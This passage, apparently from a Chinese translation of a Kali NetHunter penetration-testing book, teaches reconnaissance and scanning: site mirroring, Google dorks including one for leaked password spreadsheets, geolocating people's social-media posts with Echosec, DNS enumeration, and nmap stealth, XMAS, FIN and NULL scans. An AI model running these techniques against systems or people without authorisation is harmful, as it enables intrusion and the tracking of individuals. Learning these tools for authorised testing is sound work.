
如果您需要下载整个网站,请使用以下命令:

wget -r --level=1 -p http://<web address> 

这个命令下载指定 URL 上的所有页面,使用了-r 和--level=1 参数。组件,比如图片,将包含在下载的版本中。

如果你已经针对一个小网站,这两个命令都不应该花太长时间完成(也许只需要几秒钟到几分钟),你应该会发现内容被复制到你的本地系统。一旦你下载了内容,你可以在你的网络浏览器中打开它们,并执行一些操作,比如查看源代码,看看是否能找到任何关于网站的评论或线索。你也可以搜索文件,寻找可能给你有用信息的关键词或短语。

使用 HTTrack

当然,wget 只是一个常规的 Linux 工具;让我们使用 HTTrack 工具以不同的方式下载网站。这个工具包含在 Kali 中,提供的选项比 wget 本身要多得多。

HTTrack 是一个网站复制工具。它允许一个人使用图形用户界面(GUI)或命令行界面(CLI)来创建一个网站的离线镜像版本,从而实现离线浏览。

HTTrack 还具有更新现有下载站点和恢复中断下载的功能。

让我们尝试使用 HTTrack 下载一个网站。

练习-使用 HTTrack

要使用 HTTrack,让我们从基本选项开始:

  1. 打开一个终端窗口。

  2. 输入mkdir test命令。这将创建一个名为 test 的目录。你可以使用任何你想要的名字;然而,这将是我们存储下载的地方。

  3. 输入cd test或者你用于目录名称的任何内容。

  4. 输入httrack <网站名称>命令。

  5. Enter。根据你所针对的网站的大小,下载可能需要一些时间。在我的测试中,我使用www.webscantest.com进行练习。

  6. 下载完成后,使用文件管理器(工具栏上的蓝色文件夹图标)浏览到文件夹。

  7. 点击任何文件,适当的应用程序将被启动,比如你的网络浏览器。可能需要一些探索,但你可能会偶然发现一些有趣的东西。例如,考虑我找到的以下页面:

image

来自目标网站的登录页面

在较大的网站上,你可能希望稍微调整一下你的请求,以限制结果。你可以通过使用-r 开关来做到这一点,就像这样:

httrack -r2 <website name> 

在这个例子中,使用了带有 2 选项的-r 开关,告诉它只在网站上深入两层。请注意,开关是小写 r;如果使用大写 R,这将不起作用。

想在运行httrack时获得更多的指导?那么一个向导式的帮助系统可用于引导您完成整个过程。您可以通过启用大写的-W 开关来使用此功能:

httrack -W <website name> 

尝试不同的选项;你可以通过使用httrack -h来看到它们的广泛范围。

完成这个命令后,你可以浏览到你创建的文件夹,并查看已经下载的内容。

Google Hacking

在收集信息时,我们不应忽视搜索引擎。在这一部分,我们将专门关注 Google 和一个称为 Google Hacking 的过程。目前,Google 是一个非常强大的工具,可以通过简单的关键字搜索来收集信息,但如果你想更具体地调整搜索以获得更好的结果呢?你是否曾经在谷歌的搜索框中输入关键字或一组术语,希望得到有用的信息,却得到了几页与你寻找的内容几乎无关的结果?如果你有,你并不是一个人面对这个问题,但好消息是,使用 Google Hacking 可以极大地改善你的结果,帮助你获得相关的信息。

Google 黑客(或者有些人称之为 Google dorking)利用特殊关键词构建查询,以细化搜索以收集信息。在熟练和耐心的操作下,完全有可能检索到有用的信息,如密码、配置数据和登录门户。

练习-什么是正确的搜索引擎

为了成功地进行 Google 黑客攻击,我们需要首先介绍所谓的操作符。操作符是用于指导 Google 查找特定时间或格式信息的特殊关键词或术语。操作符可以在任何搜索的上下文中使用,甚至可以串联在一起创建更复杂和有针对性的搜索。虽然我们将讨论每个操作符的正确使用,但我强烈建议你花一些时间与它们一起工作,学习如何在自己的查询中使用它们的不同方式或如何细化你的搜索:

  • Cache 关键词显示了 Google 先前存储在他们的服务器上的网站的缓存版本。

  • 使用:cache:<网站 URL>

  • Link 关键词显示了具有指定 URL 链接的网站。

  • 使用:link:<网站 URL>

  • Info 提供有关网站的信息。

  • 使用:info:<网站 URL>

  • 网站限制了位置的搜索。

  • 使用:<关键词> site:<网站名称>

  • Allintitle 返回标题中包含指定关键词的页面。

  • 使用:allintitle:<关键词>

  • Filetype 用于返回特定类型的文件。

  • 使用:filetype:<文件扩展名> <关键词>

  • Allinurl 返回具有特定查询的结果。

  • 使用:allinurl:<关键词>

有了这些关键词,让我们讨论一些示例,向你展示如何使用每个关键词。我将在这里放一些查询,并提供一个描述,如果你自己尝试,应该返回什么:

  • Allinurl 网络摄像头:这个查询将返回任何 URL 中包含网络摄像头这两个词的组合。

  • Allintitle 病毒描述:这个查询将返回任何标题中包含病毒描述这两个词的页面。

  • Filetype:xls username password email:这将返回包含关键词usernamepasswordemail的任何 XLS(Microsoft Excel 文件)。还可以组合关键词,以制作更精细和强大的查询。

  • Allinurl:nuke filetype:xls:这个查询将查找包含nuke这个词的 URL,然后查找 XLS 文件并返回结果。

如果你对想法感到困惑,请查看Google 黑客数据库GHDB)。你可以在www.hackersforcharity.com找到这个网站。在这里,你会找到许多简单和复杂的 Google 黑客使用示例,你可以检查、分解和修改,以了解如何更好地利用你的结果。

位置

许多组织倾向于在各种在线地图上插入他们的商业地址,以帮助客户更容易地找到他们的实际位置。诸如 Google 地图、必应地图、Waze 和 MapQuest 等网站帮助每个人在一个国家中找到自己的方向。然而,这也有助于渗透测试人员更快地找到目标组织,如果他们正在进行黑盒测试或者没有目标公司的实际地址。

社交网络

为了收集有关个人的信息,没有太多的来源能与社交网络竞争。这些网络不仅变得非常普遍,而且是一个非常有价值的信息收集工具。这主要是因为这些服务的用户倾向于过度分享信息。对于大多数人来说,在网上分享东西比保守秘密更令人兴奋。当然,正确使用社交网络是与朋友和家人交流的好方法;然而,在某些情况下,它可能提供了大量关于个人和专业关系的信息。

获取有关目标的最常见社交平台的信息如下:

  • 脸书

  • 推特

  • Google+(最近被 Google 停用)

  • 领英

  • Instagram

  • Tumblr

使用 Echosec

Echosec 是我在这些社交网络服务中挖掘数据的最喜爱工具之一。该服务不仅仅用于定位社交网络站点上的信息;它还会从多个站点聚合信息,然后使用地理数据定位帖子的发布位置。是的,你没看错;它可以在地图上显示网络帖子的发布位置,甚至允许你调整时间范围。

以下图显示了 Echosec 界面:

image

Echosec 的工作部分是因为社交网络要么使用帖子中嵌入的位置数据,要么使用其他功能将其放在地图上(例如 IP 地址)。Facebook、Twitter 和 Instagram 等服务可以在你发布的帖子中包含来自几乎每个现代设备内置 GPS 的信息。虽然这听起来很酷,因为它可以让你向朋友和家人展示你去过的地方,但它也有一个缺点:它允许其他人看到相同的信息。这可以让恶意方看到你工作、玩耍和生活的地方,更不用说你去过哪里了。所有这些信息对于识别个人习惯以及其他个人信息都是有用的。

作为渗透测试人员,您不应忽视这些信息的价值。我们可以通过一个名为 Echosec 的服务检索这些信息,网址为app.echosec.net。要使用此服务,您只需要一个位置和一点时间。

练习-使用 Echosec

要使用 Echosec 分析某个地点的社交媒体帖子,请参阅以下步骤:

  1. 转到app.echosec.net

  2. 点击选择区域按钮。在目标区域周围画一个框。

  3. 向下滚动查看结果。

搜索结果中可能会偶尔出现色情图片。即使不常见,也会偶尔发生。

使用 Recon-Ng

您想加快信息收集和目标总体侦察的过程吗?Recon-Ng 适合您!虽然您确实会通过手动收集信息变得更熟练,因此更快,但是 Recon-Ng 等工具只会提高此过程的速度和效率。因此,让我们更仔细地了解一下这个工具,以便更好地理解它的工作原理。

Recon-Ng是一个强大的工具,旨在模仿称为框架的类似工具的界面和设计。该工具基于一个设计,包括独立模块、与数据库的交互、交互式帮助,并自动完成用户的命令。然而,Recon-Ng 并不是为了与现有框架竞争,而是更多地作为其他已经流行的渗透测试工具的补充。

Recon-Ng 配备了 80 个侦察模块,2 个发现模块,2 个利用模块,7 个报告模块和 2 个导入模块。以下是一些示例:

  • command_injector:远程命令注入 Shell 界面

  • csv_file:高级 CSV 文件导入器

  • email_validator:验证电子邮件

  • mailtester:MailTester 电子邮件验证器

  • migrate_contacts:联系人到域数据迁移器

  • facebook_directory:Facebook 目录爬虫

  • metacrawler:元数据提取器

  • instagram:Instagram 地理位置搜索

  • twitter:Twitter 地理位置搜索

  • dev_diver:Dev Diver 代码库活动检查员

  • linkedin_crawl:LinkedIn 个人资料爬虫

您可以在www.darknet.org.uk/2016/04/recon-ng-web-reconnaissance-framework/上查看 Recon-Ng 模块的完整列表。

获取技术数据

在侦察过程中收集信息时,你还希望尽可能收集尽可能多的技术数据。幸运的是,今天有很多方法可以帮助我们收集信息;许多方法就在你的指尖,内置在你喜爱的操作系统中,而其他方法则需要不同的方法。

使用 WHOIS

WHOIS 已经存在了相当长的时间,但它是一个非常有用的实用程序。

练习 - 从 WHOIS 中获取最多的信息

  1. 在 Kali NetHunter 终端上,键入whois <domainname>,例如:
whois usatoday.com 

输出将向你显示有关域名注册的所有公开可访问的信息,例如进行注册的人,公司的联系方式,公司的地址以及域名的创建、续订和到期日期:

image

WHOIS 对 verisign 的结果

域名注册商通常为他们的客户提供隐私选项。这将限制购买者的信息不被公开记录。

nslookup

我们还应该关注的一个技术领域是 DNS,即域名系统,它负责将主机名解析为 IP 和 IP 解析为主机名。这项服务在网络上非常常见,并且在大多数环境中基本上是一个必需的服务。

如果你回忆一下你的网络经验,DNS 是一个包含有关 IP 地址和相应主机名关系的信息的数据库。当客户端希望获取与给定主机名对应的 IP 地址(在一个称为前向查找的查询中),DNS 内部会进行一个过程,其中主机名位于数据库中并返回地址。数据库中的每个 IP 到主机名的关系都称为记录。DNS 中的不是所有记录都是相同的,它们存在许多不同类型,每种类型都会导致不同类型的资源。寻找文件服务器的 IP?那就是 A 记录。寻找邮件服务器?那就是 MX 记录。以下表列出了这些不同的记录:

记录类型 描述
A 将主机名解析为 IPv4 地址
AAAA 与“A”记录相同,但用于 IPv6
MX 该域的邮件服务器位置记录
NS 列出域的名称服务器
CNAME 创建别名
SOA 显示谁对域名有权威
SRV 服务记录
PTR A 记录的反向
RP 谁负责管理
HINFO 主机信息
TXT 简单的文本记录可以用于注释

既然我们知道了这些信息,我们该如何利用它呢?这就是 nslookup 发挥作用的地方。Nslookup 允许我们与 DNS 服务器交互,并查询不同的记录类型。执行检索 HINFO 或 TXT 记录的查询可以获得诸如注释或其他详细信息对你可能有用的信息。此外,检索其他记录,如 MX 记录,可能会给你邮件服务器的地址,或者 NS 记录可能会告诉你目标的 DNS 服务器的地址。

运行nslookup需要使用终端窗口或命令行直接发出命令。

在其默认操作模式下,nslookup将返回与主机名对应的 IP 地址,或者反之,取决于你提供的是哪个。例如,通过运行以下命令来查找 website.com 的 IP 地址:

nslookup website.com 

它将返回类似于以下内容:

Server:     8.8.8.8 
Address:    8.8.8.8 

Non-authoritative answer: 
Name:    website.com 
Address: 134.170.185.46 
Name:    website.com 
Address: 134.170.188.221 

这里,8.8.8.8是本地主机配置使用的 DNS 服务器的地址。

紧接着这个,我们看到了website.com的信息。在这种情况下,DNS 服务器返回了两个答案,表明该网站使用一种常称为轮询的负载平衡系统。基本上,这意味着当你浏览这个网站时,你将被发送到这两个地址中的一个,并且你的查询将被解析并适当地回答。

还要注意响应中指出的“非权威答案”文本。此响应表示我们正在查询的 DNS 服务器不包含所查询域的完整信息。这个答案通常表示您已经获得了上次由客户端发出的请求缓存的信息。

反向 DNS 查找

通过提供 IP 地址执行反向查找查询是可能的,如下所示:

nslookup 134.170.185.46 

这将返回类似以下内容的信息:

Server:     8.8.8.8 
Address:    8.8.8.8 

非权威答案:

46.185.170.134.in-addr.arpa    name = grv.website.com

查找 NS 记录

域的 NS 记录包含该域的权威名称服务器的 IP 地址。检索 NS 记录很简单:我们只需运行一个类似之前的查询,但现在我们包括-type 开关,告诉实用程序仅返回 NS 记录:

nslookup -type=ns microsoft.com 

响应将类似于以下内容:

Server:     8.8.8.8 
Address:    8.8.8.8 

这是非权威答案:

website.com    nameserver = ns3.web.net
website.com    nameserver = ns4.web.net
website.com    nameserver = ns1.web.net
website.com    nameserver = ns2.web.net

查询 MX 记录

域的 MX 记录包含处理该域消息的邮件服务器的 IP 地址。当您发送电子邮件到一个域,例如@website.com,邮件被路由到网站的 MX 服务器。

您可以使用-type=mx选项查询域的 MX 记录。例如:

 nslookup -type=mx website.com 

它将响应类似于以下内容:

Server:     8.8.8.8 
Address:    8.8.8.8 

这是非权威答案:

website.com    mail exchanger = 10 website-com.mail.protection.mailserver.com

查询 SOA 记录

域的权威起始SOA)记录提供有关域本身的技术信息。可以使用-type=soa 选项检索它:

nslookup -type=soa website.com 

Server:     8.8.8.8 
Address:    8.8.8.8 

这是非权威答案:

microsoft.com 
    origin = ns1.website.net 
    mail addr = msnhst.website.com 
    serial = 2014110802 
    refresh = 7200 
    retry = 600 
    expire = 2419200 
    minimum = 3600 

查询另一个 DNS

Nslookup 的设计将查询主机系统当前配置的相同 DNS 服务器。但是,如果您希望更改nslookup查询的 DNS 服务器,可以使用以下命令:

nslookup website.com ns1.web.net 

这个命令将为我们提供对我们之前对microsoft.com的查询的权威答案:

Server: ns1.web.net Address: 65.55.37.62#53 Name: website.com Address: 134.170.185.46 Name: website.com Address: 134.170.188.221 

这不仅有助于获取权威信息,还有助于检索某个 DNS 当前缓存的信息。

还要注意 WHOIS 结果的更仔细的检查,权威于该域的名称服务器位于结果的底部。您可以使用从 WHOIS 查询返回的这些服务器与 nslookup 一起使用。

使用 dnsenum

让我们使用另一个内置在 Kali 中的工具,称为dnsenum,来检查 DNS 信息。简而言之,dnsenum 是一个旨在从域中提取 DNS 信息并显示非连续 IP 块的脚本。以下是此脚本的一些功能的简要列表:

  • 获取主机地址记录

  • 获取名称服务器

  • 获取 MX 记录

  • 在名称服务器上执行 AXFR 查询

  • 通过谷歌抓取获取额外的名称和子域

  • 从文件中暴力破解子域

  • 计算 C 类域网络范围并对其执行 WHOIS 查询

  • 写入domain_ips.txt 文件 IP 块

让我们快速看一下如何使用 dnsenum。

练习-使用 dnsenum

Dnsenum是一种快速而非常有效的获取与 nslookup 相同信息的方法,而无需跳过太多障碍。

要在其最基本的情况下使用 dnsenum,只需在终端窗口中输入以下命令:

dnsenum <domain name> 

这将返回有关记录的结果列表,包括名称服务器、MX 服务器和 A 记录。它还将尝试执行区域传输。

想尝试为相同的名称查询不同的 DNS 服务器吗?使用以下命令:

dnsenum -dnsserver <IP address of server> <domain name> 

在尝试查询域的权威服务器时,使用dnsserver特别有帮助。

使用 DNSMAP

了解子域、IP 地址并构建网络图片或地图的另一种有效方法是使用 DNSMAP。该实用程序能够执行多种操作,但让我们现在将其作为一种了解目标子域和相关 IP 地址的方法。

您可以使用 DNSMAP 执行以下任何操作:

  • 查找远程服务器

  • 查找域名,以便您可以映射非明显/难以找到的网络块

  • 使用暴力破解定位内部 DNS 名称和 IP 地址的能力

使用 DNSMAP 来定位子域名,只需执行以下命令:

dnsmap <domain name> 

例如,它会显示如下:

dnsmap microsoft.com 

还有另一个工具可以有效地从 DNS 中收集信息:Fierce。Fierce与其类型的其他工具一样,但仍值得关注,因为它提供了另一种有吸引力的选择。

Fierce 本质上是一个扫描程序,可帮助定位目标域的不连续 IP 空间和主机名。在许多方面,它旨在收集信息以供 nmap 等工具使用。它定位潜在目标,无论是在目标网络内部还是外部。

要使用 Fierce 对 DNS 命名空间执行扫描,请发出以下命令:

fierce -dns <domain name> 

使用实际域名的示例如下:

fierce -dns zonetransfer.me 

以下图显示了此示例扫描的结果:

image

使用 traceroute

Traceroute是使用 ICMP 协议设计的。Traceroute 允许管理员映射数据包从源到目的地的路径。Traceroute 存在于 Windows 和 Linux 系统中。

Traceroute 通过略微增加 TTL 值发送数据包,最初的 TTL 值为1。第一个路由器接收数据包,减少 TTL 值,然后丢弃数据包,因为它的 TTL 值为0

路由器向源发送 ICMP 超时消息:

image

有许多非命令行版本的 traceroute,如果您发现它们更容易使用。

摘要

在进行渗透测试时,您可以利用丰富的资源来获取有关目标来源的详细信息,这些资源对您应该很熟悉。在本章中,我们学习了如何研究目标并利用收集的信息来了解受害者。

在下一章中,我们将在信息收集过程中学到的经验基础上,继续通过扫描和枚举来采取行动。

进一步阅读

您可以查看kali.tools.org以获取有关本章涵盖主题的更多信息。

第四章:扫描和枚举工具

在本章中,我们将讨论概述和扫描技术。如果我们回顾一下第二章,理解渗透测试过程的阶段,扫描是黑客的第二阶段。什么是扫描?它使渗透测试人员能够识别网络中在线/活动的设备,并识别开放和关闭的服务端口、服务版本和漏洞;这些只是它的一些好处。Nmap 和 hping3 是一对著名的扫描工具。

此外,渗透测试人员通常需要提取信息,以快速识别目标系统上的攻击点。信息可以是网络共享、设备的路由表、用户和组以及 DNS 记录。这种提取信息的方式被称为枚举。一些强大且易于使用的枚举工具是 nbtstat、nbtscan、enum4linux 和 nslookup。

在本章中,我们将探讨以下主题:

  • 确定主机是上线还是下线

  • 使用 Nmap

  • 端口扫描

  • 横幅抓取

  • 使用 NetHunter 进行枚举

  • 使用 SMB

技术要求

为了完成本章,您需要安装 Kali NetHunter。有关在 Android 设备上设置 Kali NetHunter 的详细说明,请参阅第一章,Kali NetHunter 简介

扫描

当我们想要利用使用 NetHunter 本地和外部工具收集的信息时,我们通常会从一系列扫描开始。为了探测目标,我们将使用一系列旨在执行不同类型扫描的工具,每个工具旨在使用特定标准对信息进行分组。这些扫描将帮助我们定位有效的主机目标、网络结构、运行的服务和漏洞。扫描过程进一步细化和处理了我们从第三章获得的信息,情报收集工具,以便更好地了解目标,并帮助您选择更好地执行枚举过程的区域(在使用 NetHunter 进行枚举部分中更多内容)。

扫描可以帮助我们收集以下重要信息,这些信息将在后续的利用过程中证明有用:

  • 系统的 IP 地址

  • 打开和关闭的端口

  • 操作系统及其版本

  • WHOIS 信息

  • 软件版本

  • MAC 地址

进行扫描

那么,我们所说的扫描是什么意思?让我们来分解这个过程。要更好地理解它,请参考端口扫描部分。在本章的后面,我们将使用 Nmap 工具和各种扫描技术来查看扫描的实际方面。需要执行以下步骤来进行扫描:

  • 分析一系列 IP 地址以定位活动系统,即,目标设备将对 ICMP ECHO Replay 的 ping 扫描做出响应。如果目标上禁用了 ICMP,使用 Nmap,我们可以发送探测来检测目标是否会做出响应,Nmap 分析响应以帮助我们确定系统是否在线。这个阶段帮助我们避免扫描不在线的 IP 地址,因此无法进行扫描。

  • 接下来,我们进行端口扫描,以针对特定 IP 地址并探测其开放或关闭的端口,这将用于稍后提取信息。

  • 更仔细地探测开放的端口,以确定该端口上是否实际运行了服务或应用程序,以及可以提取什么信息。这个过程类似于给公司打电话并按下分机号,然后听语音信箱是否提供了有关该分机号的信息。

  • 对开放端口进行漏洞扫描,以识别可能提供系统入口的弱点。请注意,此扫描发现了弱点,但并未利用它们。

在扫描中要有创造性;尝试新的工具和组合以获得不同的结果。NetHunter 包含了许多扫描工具,还可以运行许多其他工具,其中许多可以免费下载和安装。虽然许多专业人士、网站和书籍都会集中使用特定的扫描工具,但不要犹豫尝试其他工具。

故障扫描结果

如果您没有得到列表上的所有内容怎么办?在大多数情况下,您应该能够轻松获得 IP 地址、WHOIS 信息等。然而,如果您发现缺乏实质性或有用的信息,您可能需要回到收集阶段,看看是否忽略了什么,或者需要采取不同的信息收集方法。收集大量信息将使您的评估更加准确,从而在扫描阶段获得更多回报。

确定主机是活动的还是离线的

如果您要尝试进入一个系统,首先需要有一个要检查和探索的目标,这需要找出哪些主机是在线或活动的,哪些不是。

练习-使用 ping

在这个练习中,我们将使用ping实用程序来检查活动目标:

  1. 在 Windows 上打开命令提示符,或者在 Linux 上打开终端。

  2. Ping -c <ping 次数> <目标 IP 或主机名>

  3. Enter

  4. 查看结果。

如果省略了-cping命令将继续对提供的主机名或地址进行 ping,直到您按下Ctrl + C

如果您从目标处收到成功的回复,则主机被认为是活动的。如果收到请求超时消息,则意味着两种情况之一:目标处于离线状态,或者目标已禁用 ICMP 响应。系统管理员通常出于安全原因禁用 ICMP 响应;如果一个脚本小子尝试进行 ping 扫描,他们会认为目标处于离线状态并继续前进。然而,一个熟练的渗透测试人员会使用另一种方法来确定目标的真实状态。

使用 ping 实用程序有两种主要方法:使用 ping 后跟目标 IP 地址,或者使用主机名。如果您 ping 一个主机名并且没有收到任何响应,可能是您的 DNS 设置有问题。如果 DNS 设置正确,目标可能确实处于离线状态。因此,最好使用 IP 地址进行 ping。

好的,让我们做一个练习,看一下 nmap,这是一个你即将非常熟悉的实用工具。

让我们探索一种使用名为 nmap 的新工具来执行 ping 的不同方法。

使用 Nmap

Nmap(网络映射器)就像所有网络扫描工具中的王者。Nmap 具有许多功能,例如使渗透测试人员能够扫描开放端口,确定服务及其版本,检测目标操作系统和版本,以及检测网络嗅探器和漏洞。

NetHunter 为我们提供了几种选项来执行扫描,但在这里我们将专注于可能是最强大和最知名的一个,名为 nmap。由于其灵活性、强大性、易用性和可扩展性,Nmap 已被证明是跨大多数主要操作系统上非常受欢迎的端口扫描实用程序。多年来,许多渗透测试人员和网络管理员已经依赖这款软件应用程序。如果您以前从未使用过它,您可能会在 NetHunter 中使用它后更加依赖它。

NetHunter 预装了 nmap,就像本书中涵盖的所有工具一样。我建议在本节中,您可以从命令行或 NetHunter 应用程序中打开 nmap。

如果您熟悉 Kali Linux 上的 nmap 或在 Microsoft Windows 上使用 nmap,您会发现打开终端允许您发出与您习惯的完全相同的命令。

练习-使用 Nmap 执行 Ping 扫描

在这个练习中,我们将在本地子网上执行 ping 扫描,以检查是否有活动的主机设备:

  1. 在 NetHunter 中,通过点击应用程序右上角的三条水平线来打开终端或访问 Nmap:

image

NetHunter 应用程序中的 Nmap

  1. 从 nmap 菜单中选择以下选项:

image

注意 Ping 扫描选项,只需点击它以启用扫描类型

  1. 输入一个 IP 地址(例如192.168.1.1)或一个 IP 地址范围(例如192.168.1.1-130)。

  2. 点击扫描按钮,这将打开一个终端窗口并显示执行的命令和结果:

image

扫描完成后,结果将显示在屏幕上。

如果扫描没有执行,可能需要选择一个接口来执行扫描。如果是这种情况,请从接口下拉菜单中选择接口(例如wlan0),如 nmap 窗口中所示:

image

显示接口下拉菜单窗口

端口扫描

在确定了活跃系统之后,是时候检查目标上是否有任何开放的端口了。

那么,端口是什么?首先,让我们假设我们网络上的每个主机都有一个分配给它的唯一地址,称为 IP 地址。这个地址是分配给主机的唯一数字,用于区分网络上的其他主机。

当信息从系统发送到系统时,我们也需要关注的是计算机如何接受这些信息。答案是端口。我将使用192.168.1.4作为我们的目标系统的 IP 地址:

192.168.1.4:80 

那么,系统上有多少个端口可用?有 65,535 个端口号。一些网络服务使用 TCP 端口来确保它们的数据传递给接收方,而其他网络服务使用 UDP 进行快速通信,但不像 TCP 那样保证快速传递。我们使用的端口范围如下:

  • 知名端口范围从1 - 1024。这些端口最常用,例如端口80用于 HTTP 流量,所有 Web 服务器默认都开放端口80

  • 注册端口范围是1025 - 49151。这些端口被分配和保留给特定的供应商和应用程序使用。

  • 动态端口范围是49152 - 65535。这些端口在通信期间临时使用。

数据包是在正常网络通信期间传输的信息片段。数据包就像一个信封,里面有发送者和接收者的地址信息,而在数据包内部,就像在信封里一样,是要传递的消息。

以下表格是一些常见端口的示例,但实际上还有更多端口没有列在这里:

image

一些常见端口的示例

在我们之前的讨论中,我们谈到了 TCP/IP 套件的一些具体内容,特别是 TCP 和 UDP。传输控制协议TCP)和用户数据报协议UDP)存在于 OSI 参考模型和 TCP/IP 协议套件的传输层中。这些协议的目的是提供一种机制,从一个设备向另一个设备传递数据。

请记住,三次握手是使用 TCP 协议进行的,而不是使用 UDP 协议。

在 TCP 三次握手期间,会发生以下动作:

  1. A 发送一个SYN数据包给 B 以初始化一个会话。

  2. B 会回复一个SYN+ACK。B 还会回复一个 ACK,并发送一个 SYN 来尝试建立连接。

  3. B 会回复一个ACK来确认。以下图显示了 TCP 三次握手的过程:

image

TCP 三次握手

TCP 为每个数据段提供序列编号。这确保了接收设备能够按顺序重新组装接收到的比特片段并重建数据。

UDP 与 TCP 有些不同。UDP 在网络上发送消息而不提供任何交付保证,并且不提供任何序列编号。因此,有时消息会以无序的方式接收。

我们需要扩展对标志的知识,其中一些我们已经遇到了。标志在每个数据包中设置,以通知接收者有关数据包的特性以及应该如何处理它。

下表显示了各种标志:

名称 描述
SYN 用于启动会话
ACK 用于确认消息
URG 意味着高优先级
PSH 立即发送所有数据
FIN 通知远程设备优雅地结束会话
RST 重置数据包用于重置连接。

因此,让我们把我们对标志和端口的知识结合起来进行一些端口扫描。正如我们之前学到的,端口是连接和传输信息到系统的一种方式,比如网站流量。通过端口扫描,我们试图确定哪些端口是“打开”的,哪些是“关闭”的。那是什么意思呢?简单地说,如果一个服务端口是打开的,它可以接收进入的流量;然而,如果一个端口是关闭的,就像一扇关闭的门,不允许任何流量进入。

您想要了解每种扫描的优缺点。每种扫描都有利有弊;你需要知道它们的优缺点,这样你才能确定何时使用其中一种而不是其他的。

完全打开/TCP 连接扫描

在所有的扫描中,完全打开扫描非常容易可视化和理解,因为我们已经有点看到了。完全打开扫描在执行任何端口扫描之前,与目标系统建立了 TCP 三次握手,目标是确定它们的状态是否打开和关闭。

这种类型的扫描能够快速确定端口是打开还是关闭,因为它与目标建立了 TCP 三次握手。

当发起者不再想与目标通信时,发起者将发送一个 TCP FIN 数据包,以通知目标它希望优雅地结束会话:

image

关闭和打开端口的响应

如果目标设备上的端口打开,目标会用一个 ACK 数据包回应。如果端口关闭,会发送一个 RST 数据包。

要执行完全连接扫描,请在 NetHunter 应用程序的 nmap 窗口中从列表中选择Connect (),并输入目标 IP 地址:

image

TCP SYN 选项

隐形扫描

隐形扫描(有时称为半开放扫描)与完全打开扫描非常相似,只是有一个小的区别,使得它在受害者设备上不那么可疑。主要的区别是不会发生完整的 TCP 三次握手。看下面的图表,发起者(设备 A)会向设备 B 发送一个 TCP SYN 数据包,以确定端口是否打开。如果端口打开,设备 B 将向发起者(设备 A)发送一个 SYN/ACK 数据包。接下来,设备 A 将发送一个 RST 来终止连接。如果端口关闭,设备 B 将发送一个 RST 数据包:

image

隐形扫描显示打开和关闭的服务端口

使用这种类型的扫描的好处是减少被检测到的机会。

要执行隐形扫描,在 NetHunter 应用程序的 nmap 窗口中从列表中选择(TCP SYN),并输入目标 IP 地址:

image

TCP SYN 的选择

XMAS 扫描

在这种扫描中,ACKSYNURGRSTFIN标志都同时设置在同一个数据包上。问题在于,由于所有标志都被设置,目标系统可能难以解释它收到的数据包。下面的图表显示了这个过程:

image

XMAS 树扫描

要执行 XMAS 扫描,请从 NetHunter 应用程序中的 nmap 窗口中的列表中选择XMAS,并输入目标 IP 地址:

image

从下拉菜单中选择 XMAS 扫描

FIN 扫描

FIN 扫描是指攻击者仅启用 FIN 标志的数据包。如果攻击者向目标发送 FIN 数据包,这意味着攻击者请求连接被终止,但没有建立的连接需要关闭。这将使目标感到困惑。如果目标不做出响应,这意味着端口是打开的。如果目标以 RST 数据包回复,则目标上的端口是关闭的。以下图示了这个过程:

image

FIN 扫描检测到关闭和打开的端口

要执行 FIN 扫描,请从 NetHunter 应用程序中的 nmap 窗口中的列表中选择FIN,并输入目标 IP 地址:

image

从下拉菜单中选择 FIN 扫描

空扫描

在空扫描中,攻击者向目标发送一个没有设置任何标志的数据包。目标再次会感到困惑,并且不会做出响应。这将表明目标上的端口是打开的。但是,如果目标以RST数据包做出响应,这意味着设备上的端口是关闭的。以下图示了这个过程:

image

要执行空扫描,请从 NetHunter 应用程序中的 nmap 窗口中的列表中选择TCP Null,并输入目标 IP 地址:

image

TCP 空扫描从下拉菜单中选择

ACK 扫描

扫描的另一个有趣的方法是在数据包中启用 ACK 标志。这种技术用于确定网络安全设备(如防火墙)可能执行的任何形式的过滤。

虽然我们还没有讨论防火墙,但稍后我们会讨论。但是,就目前而言,我们可以说防火墙会对来自一个网络到另一个网络(例如,从互联网到您的本地局域网)的流量进行过滤。

在渗透测试期间,我们可能位于组织的外部网络,例如互联网。大多数组织在其边界部署防火墙,位于互联网和其本地局域网(LAN)之间,以帮助防止任何威胁进入或离开其网络。

我们可以使用 ACK 扫描来帮助我们确定我们的目标组织是否有防火墙。要执行 ACK 扫描,请从 NetHunter 应用程序中的 nmap 窗口中的列表中选择ACK,并输入目标 IP 地址:

image

从下拉菜单中选择 ACK 扫描

调整和优化

当然,到目前为止,我们使用 nmap 的只是冰山一角。Nmap 允许对扫描进行非常高度的定制。让我们看看一些选项。

执行空扫描,从 NetHunter 应用程序中的 nmap 窗口中的列表中选择NULL,并输入目标 IP 地址:

image

Kali NetHunter 上 Nmap 应用程序中的菜单和选项

在此行中,您可以以不同的方式输入要扫描的端口,例如范围;我们使用-p开关来指示我们正在扫描特定端口,然后跟随端口212245以及目标的 IP 地址:

21,22,45  

另一个选项是扫描一系列端口,例如端口1100

1-100 

想要扫描特定端口并检测操作系统和服务吗?Nmap 会向目标设备发送一系列 TCP 和 UDP 数据报;每个响应都会被仔细分析。结果将与 Nmap OS 数据库进行比较,该数据库包含超过 2600 个操作系统指纹。有关使用 Nmap 进行操作系统检测的更多信息,请参阅nmap.org/book/man-os-detection.html

如下图所示,在 Nmap 窗口中选中复选框:

image

OS 检测选项

这里显示的开关比实际更多,但知道您可以组合开关以进一步完善扫描,以获得更好和更有效的结果。

UDP 扫描

在本节中,我们将讨论 UDP 扫描的概念及其对渗透测试人员的好处。我们首先需要了解的是,在 UDP 扫描中遇到开放或关闭的端口时会发生什么。答案显示在以下表中:

端口状态 结果
开放 无响应
关闭 ICMP 端口不可达消息返回

在 Nmap 中执行基于 UDP 的扫描很容易。为此,我们从 Nmap 窗口中选择 UDP 扫描选项,如下截图所示:

image

UDP 扫描选项

尽管这些类型的扫描值得尝试,但是网络管理员已知会对基于其感知性能问题的 UDP 扫描付出较少关注,比如不吸引攻击者。

横幅抓取

横幅抓取是一种识别系统上正在运行的服务的技术。例如,假设您对目标进行了基本的端口扫描,发现端口 80 是开放的,这意味着有一个提供 HTTP 服务的 Web 服务器。但是,如果我们想要确定/检索 Web 服务器平台(IIS、Apache 或 Nginx)及其版本号,我们就必须进行横幅抓取。

使用 Telnet 进行横幅抓取练习

在这个练习中,我们将使用 Telnet 来确定目标系统上的 Web 服务器类型。我们将能够看到它是 IIS、Apache 还是 Nginx。让我们开始:

  1. 打开命令控制台。

  2. 在控制台中,输入以下命令:

telnet <target IP address> 80
  1. Enter

